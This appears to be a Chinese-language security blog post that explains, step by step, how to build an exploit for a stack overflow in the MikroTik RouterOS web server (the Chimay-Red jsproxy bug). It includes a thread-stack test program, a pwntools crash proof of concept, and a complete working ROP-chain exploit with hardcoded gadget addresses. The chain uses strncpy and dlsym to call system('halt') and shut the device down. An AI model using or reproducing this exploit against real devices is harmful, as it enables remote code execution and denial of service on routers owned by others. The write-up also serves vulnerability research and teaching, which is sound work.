天天看點

一步一步 Pwn RouterOS之exploit構造

前言

本文由 本人 首發于 先知安全技術社群: https://xianzhi.aliyun.com/forum/user/5274

前面已經分析完漏洞,并且搭建好了調試環境,本文将介紹如何利用漏洞寫出

exploit

正文

控制 eip

看看我們現在所擁有的能力

我們可以利用

alloca

sub esp *

把棧擡高,然後往 那裡寫入資料。

現在的問題是我們棧頂的上方有什麼重要的資料是可以修改的。

一般情況下,我們是沒辦法利用的,因為 棧上面就是 堆, 而他們之間的位址是不固定的。

為了利用該漏洞,需要了解一點多線程實作的機制,不同線程擁有不同的線程棧, 而線程棧的位置就在 程序的 棧空間内。線程棧 按照線程的建立順序,依次在 棧上排列。線程棧的大小可以指定。預設大概是 8MB.

寫了一個小程式,測試了一下。

#include <pthread.h>
#include <stdio.h>
#include <sys/time.h>
#include <string.h>
#define MAX 10
pthread_t thread[2];
pthread_mutex_t mut;
int number=0, i;
void *thread1()
{
		int a;
        printf("thread1 %p\n", &a);
}
void *thread2()
{
       	int a;
        printf("thread2 %p\n", &a);
}
void thread_create(void)
{
        int temp;
        memset(&thread, 0, sizeof(thread));          //comment1
        /*建立線程*/
        if((temp = pthread_create(&thread[0], NULL, thread1, NULL)) != 0)       //comment2
                printf("線程1建立失敗!\n");
        else
                printf("線程1被建立\n");
        if((temp = pthread_create(&thread[1], NULL, thread2, NULL)) != 0)  //comment3
                printf("線程2建立失敗");
        else
                printf("線程2被建立\n");
}
void thread_wait(void)
{
        /*等待線程結束*/
        if(thread[0] !=0) {                   //comment4
                pthread_join(thread[0],NULL);
                printf("線程1已經結束\n");
        }
        if(thread[1] !=0) {                //comment5
                pthread_join(thread[1],NULL);
                printf("線程2已經結束\n");
        }
}
int main()
{
        /*用預設屬性初始化互斥鎖*/
        pthread_mutex_init(&mut,NULL);
        printf("我是主函數哦,我正在建立線程,呵呵\n");
        thread_create();
        printf("我是主函數哦,我正在等待線程完成任務阿,呵呵\n");
        thread_wait();
        return 0;
}
           

就是列印了兩個線程中的棧記憶體位址資訊,然後相減,就可以大概知道線程棧的大小。

多次運作發現,線程棧之間應該是相鄰的,因為列印出來的值的差是固定的。

線程棧也是可以通過

pthread_attr_setstacksize

設定, 在

RouterOs

www

main

函數裡面就進行了設定。

是以在

www

中的線程棧的大小 為

0x20000

當我們同時開啟兩個

socket

連接配接時,程序的棧布局

此時在

線程 1

中觸發漏洞,我們就能修改

線程 2

的資料。

現在的思路就很簡單了,我們去修改 線程2 中的某個傳回位址, 然後進行

rop

.為了精确控制傳回位址。先使用

cyclic

來确定傳回位址的偏移.因為該程式線程棧的大小為

0x20000

是以用一個大一點的值試幾次就能試出來。

from pwn import *

def makeHeader(num):
    return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"


s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80)


s1.send(makeHeader(0x20900))
sleep(0.5)
pause()
s2.send(makeHeader(0x100))
sleep(0.5)
pause()

s1.send(cyclic(0x2000))
sleep(0.5)
pause()

s2.close()  # tigger 
pause()
           

崩潰後的位置

然後用

eip

的值去計算下偏移

然後調整

poc

測試一下

ok, 接下來就是

rop

了。

rop

程式中沒有

system

, 是以我們需要先拿到

system

函數的位址,然後調用

system

執行指令即可。

這裡采取的

rop

方案如下。

  • 首先 通過

    rop

    調用

    strncpy

    設定我們需要的字元串(我們隻有一次輸入機會)
  • 然後調用

    dlsym

    , 擷取

    system

    的函數
  • system

    執行指令

使用

strncpy

設定我們需要的字元串的思路非常有趣。 因為我們隻有一次的輸入機會,而

dlsym

system

需要的參數都是 字元串指針, 是以我們必須在 調用它們之前把 需要的字元串事先布置到已知的位址,使用

strncpy

我們可以使用 程式檔案中自帶的一些字元來拼接字元串。

下面看看具體的

exp

首先這裡使用 了

ret 0x1bb

用來把棧往下移動了一下,因為程式運作時會修改其中的一些值,導緻

rop

鍊被破壞,把棧給移下去就可以繞過了。(這個自己調

rop

的時候注意看就知道了。)

首先我們得設定

system

字元串 和 要執行的指令 這裡為

halt

(關機指令)。 以

system

字元串 的構造為例。

分3次構造了

system

字元串,首先設定

sys

, 然後

te

, 最後

m

.

同樣的原理設定好

halt

, 然後調用

dlsym

擷取

system

的位址。

執行

dlsym(0, "system")

即可獲得

system

位址, 函數傳回時儲存在

eax

, 是以接下來 在棧上設定好參數(

halt

字元串的位址) 然後

jmp eax

即可。

下面調試看看

首先

ret 0x1bb

, 移棧

然後是執行

strncpy

設定

system

設定完後,我們就有了

system

然後執行

dlsym(0, "system")

執行完後,

eax

儲存着

system

函數的位址

然後利用

jmp eax

system("halt")

運作完後,系統就關機了。

最後

了解了多線程的機制。 對于不太好計算的,可以猜個粗略的值,然後使用

cyclic

來确定之。

strncpy

設定字元串的技巧不錯。

dlsym(0, "system")

可以用來擷取函數位址。調試

rop

時要細心,

rop

鍊被損壞使用

ret *

之類的操作繞過之。一些不太懂的東西,寫個小的程式測試一下。

exp

from pwn import *

def makeHeader(num):
    return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"


s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80)


s1.send(makeHeader(0x20900))
sleep(0.5)
pause()
s2.send(makeHeader(0x100))
sleep(0.5)
pause()



strncpy_plt = 0x08050D00
dlsym_plt = 0x08050C10

system_addr = 0x0805C000 + 2
halt_addr = 0x805c6e0

#pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
# .text:08059C03                 pop     ebx
# .text:08059C04                 pop     esi
# .text:08059C05                 pop     ebp
# .text:08059C06                 retn
ppp_addr = 0x08059C03
pp_addr = 0x08059C04
pppppr_addr = 0x080540b4
# 0x0805851f : ret 0x1bb
ret_38 = 0x0804ae8c
ret_1bb = 0x0805851f
ret = 0x0804818c
# make system str

payload = ""
payload += p32(ret_1bb)   # for bad string
payload += p32(ret)
payload += "A" * 0x1bb
payload += p32(ret) # ret


payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr)
payload += p32(0x0805ab58)  # str syscall
payload += p32(3)
payload += "B" * 8 # padding


payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 3)
payload += p32(0x0805b38d)  # str tent
payload += p32(2)
payload += "B" * 8 # padding



payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 5)
payload += p32(0x0805b0ec)  # str mage/jpeg
payload += p32(1)
payload += "B" * 8 # padding


payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr)
payload += p32(0x0805670f)  
payload += p32(2)
payload += "B" * 8 # padding


payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr + 2)
payload += p32(0x0804bca1)  
payload += p32(2)
payload += "B" * 8 # padding


# call dlsym(0, "system") get system addr
payload += p32(dlsym_plt)
payload += p32(pp_addr)
payload += p32(0)
payload += p32(system_addr)

payload += p32(0x0804ab5b)
payload += "BBBB"  # padding ret
payload += p32(halt_addr)



s1.send(cyclic(1612) + payload + "B" * 0x100)
sleep(0.5)
pause()
s2.close()

pause()
           

參考

https://github.com/BigNerd95/Chimay-Red